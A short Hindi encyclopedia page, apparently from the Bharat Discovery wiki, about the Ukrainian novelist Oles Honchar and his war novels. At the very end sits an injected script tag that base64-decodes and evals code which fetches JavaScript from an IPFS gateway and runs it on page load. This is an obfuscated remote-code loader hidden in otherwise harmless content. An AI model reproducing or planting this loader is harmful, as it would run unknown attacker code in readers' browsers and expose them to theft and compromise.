ओलेस गोनचार
भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (वार्ता | योगदान) द्वारा परिवर्तित 08:31, 9 जून 2015 का अवतरण
ओलेस गोनचार (अंग्रेज़ी: Oles Honchar, जन्म- 3 अप्रैल, 1918) प्रसिद्ध उक्रेनी लेखक तथा उपन्यासकार थे। इनके अनेक उपन्यासों में द्वितीय महायुद्ध का वर्णन मिलता है। गोनचार के दो कहानी संग्रह भी प्रकाशित हैं।
- ओलेस गोनचार के 'आल्प्' 1947, 'नीला डेन्यूब' 1947 और 'स्वर्ण प्राग' 1948 उपन्यासों में उन देशवासियों के जीवन का चित्रण किया गया है, जिन्हें द्वितीय महायुद्ध में सोवियत सेना ने फासिस्ट जर्मनी से आजाद किया था।
- 'धरती गूँजती है' उपन्यास (1947) में विगत युद्ध के उक्रेनी छापामारों की जिंदगी का चित्र मिलता है।
- इनके 'पेरेकोप' उपन्यास में (1919-1920, 1957) वर्षों की उक्रेन में हुई घटनाओं का वर्णन है।
- 'त्व्राया' उपन्यास में पूँजीवादी दुनिया में एक मेहनतकश की जिंदगी और संघर्ष की कहानी है।
- गोनचार के दो कहानी संग्रह भी प्रकाशित हैं।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ ओलेस गोनचार (हिन्दी) भारतखोज। अभिगमन तिथि: 9 जून, 2015।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>]]